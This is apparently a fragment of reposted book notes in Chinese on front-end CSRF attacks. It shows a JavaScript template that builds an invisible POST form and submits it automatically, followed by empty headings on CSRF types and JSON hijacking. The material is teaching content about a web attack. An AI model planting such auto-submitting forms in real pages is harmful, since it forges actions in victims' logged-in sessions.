web前端駭客技術揭秘 4.前端駭客之CSRF

標籤：駭客   技術   inpu   img   orm   eva   類型   display   csrf   

 

 

 1     function new_form() {//建立表單 2             var f = document.createElement("form"); 3             document.body.appendChild(f); 4             f.method = "post"; 5             return f; 6         } 7         function create_elements(eForm, eName, eValue) { 8             //建立表單項函數，eForm：表單對象，eName：表單項，eValue：表單值 9             var e = document.createElement("input");10             eForm.appendChild(e);11             e.type = "text";12             e.name = eName;13             if (!document.all) {14                 e.style.display = "none";15             } else {16                 e.style.display = "block";17                 e.style.width = "0px"18                 e.style.height = "0px"19             }//相容瀏覽器的隱藏設定，目的是讓表單不可見20             e.value = eValue;21             return e;22         }23         var _f = new_form();24         create_elements(_f, "", "");25         _f.action = "";26         _f.submit();//自動認可

 

4.2　　CSRF類型

 

4.2.2　　JSON HiJacking攻擊

 

 

web前端駭客技術揭秘 4.前端駭客之CSRF